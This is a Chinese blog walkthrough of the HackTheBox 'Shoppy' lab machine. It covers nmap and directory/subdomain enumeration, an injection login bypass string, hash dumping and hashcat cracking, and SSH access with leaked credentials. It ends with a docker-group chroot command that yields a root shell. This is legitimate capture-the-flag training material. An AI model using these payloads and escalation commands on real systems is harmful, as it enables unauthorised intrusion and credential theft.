• HackTheBox Shoppy 枚举获得账户密码 docker越权提权


    开始

    在这里插入图片描述

    网址:

    https://app.hackthebox.com/machines/Shoppy
    
    • 1

    信息搜集

    使用nmap扫描ip

    nmap -sC -sV -p- 10.10.11.180
    
    • 1

    在这里插入图片描述

    根据扫描结果,发现了一个域名,我们需要本地dns解析这个域名

    echo "10.10.11.180 shoppy.htb" >> /etc/hosts
    
    • 1

    在这里插入图片描述

    网站信息收集

    我们需要安装一个字典

    apt install seclists
    
    • 1

    然后枚举网站的目录

    ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt -t 100 -mc 200,302,301 -u http://shoppy.htb/FUZZ
    
    • 1

    在这里插入图片描述

    发现了后台什么的,我们去浏览器页面看看

    在这里插入图片描述

    我尝试了一下万能密码,没想到成功了

    admin'||'1==1
    
    • 1

    在这里插入图片描述

    登录后台后,右上角有一个搜索用户的图标,我们继续输入万能密码试试

    在这里插入图片描述

    按下回车后有一个下载的图标

    在这里插入图片描述

    在这里插入图片描述

    这里找到了两个账户密码的hash值,然后我用hashcat爆破,发现admin爆不出来,而josh用户的可以

    echo "6ebcea65320589ca4f2f1ce039975995" > hash
    hashcat -m 0 hash /usr/share/wordlists/rockyou.txt
    
    • 1
    • 2

    在这里插入图片描述

    我之前爆破过,这里就直接出现密码了,我用这个用户名和密码登录ssh,发现不对,可能还有哪里的信息搜集没做完,这里的用户名和密码可能是另一个网站的,我们可以枚举一下网站的子域名

    gobuster vhost -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 50 -u shoppy.htb
    
    • 1

    在这里插入图片描述

    这里找到一个子域名,我们将他也解析一下

    echo "10.10.11.180 mattermost.shoppy.htb" >> /etc/hosts
    
    • 1

    在这里插入图片描述

    然后去浏览器里看看

    在这里插入图片描述

    发现了一个登录的页面,我们输入之前爆破的用户名和密码试试

    在这里插入图片描述

    在这里插入图片描述

    获取用户权限

    成功登录,在这里可以发现ssh的账号和密码,我们ssh登录试试

    ssh jaeger@10.10.11.180
    
    • 1

    在这里插入图片描述

    获取root权限

    文件静态分析

    sudo -l
    
    • 1

    在这里插入图片描述

    我检查了一下当前用户可以使用sudo命令执行什么,发现了一个奇怪的文件,我们将这个文件下载到kali里
    注意,这里需要移动到文件的目录里

    python3 -m http.server 1234
    
    • 1

    在这里插入图片描述

    然后用kali下载这个文件

    wget http://10.10.11.180:1234/password-manager
    
    • 1

    在这里插入图片描述

    获取文件信息

    file password-manager
    
    • 1

    在这里插入图片描述

    这是一个64位的可执行文件,然后用radare2静态分析这个程序

    r2 password-manager
    
    • 1

    然后输入指令,定位到主函数地址

    aaa  //自动分析并命名函数
    afl  //查看程序内的函数
    
    • 1
    • 2

    在这里插入图片描述

    这里找到了main函数,然后去到main函数的地址并查看汇编代码

    s main  //定位到main函数地址
    pdf  //查看当前函数的汇编代码
    
    • 1
    • 2

    在这里插入图片描述

    这是一个c++写的程序,运行程序的之后会输出Welcome to Josh password manager!字符串

    在这里插入图片描述

    然后输出Please enter your master password:字符串,并接受我们的输入

    在这里插入图片描述

    在下面,程序会和我们输入的字符和Sample字符一个一个的做对比

    在这里插入图片描述

    我们输入的字符串是Sample后,会输出Access granted! Here is creds !字符串,表示我们输入正确,然后会执行一个系统命令,查看/home/deploy/creds.txt文件内容

    用ida查看文件,也和我们分析的一样

    在这里插入图片描述

    回到靶机,运行程序,输入Sample

    sudo -u deploy ./password-manager
    
    • 1

    在这里插入图片描述

    docker越权提权

    我们获得了deploy用户的账号和密码,然后切换账号

    su deploy
    
    • 1

    在这里插入图片描述

    在输入id的时候,发现了这个用户在docker组里

    在这里插入图片描述

    去到这个网站,ctrl+f搜索docker

    https://gtfobins.github.io/
    
    • 1

    在这里插入图片描述

    在这里插入图片描述

    输入此命令,即可获得root shell

    docker run -v /:/mnt --rm -it alpine chroot /mnt sh
    
    • 1

    **加粗样式**

    在这里插入图片描述

  • 相关阅读:
    手机备忘录如何批量导出来,备忘录整体导出方法介绍
    @Transactional 事务注解运用
    【Java】实现文件夹复制
    【SU-03T离线语音模块】:学习配置使用
    广东的介绍
    混合 MPC:ABY 架构
    C语言实验十一 指针(一)
    Lego-Laom算法深度解析
    linux查询进程号,出现两个进程
    快35了,还在“点点点”?那些入行几年的测试点工后来都怎么样了?
  • 原文地址:https://blog.csdn.net/qq_45894840/article/details/127527914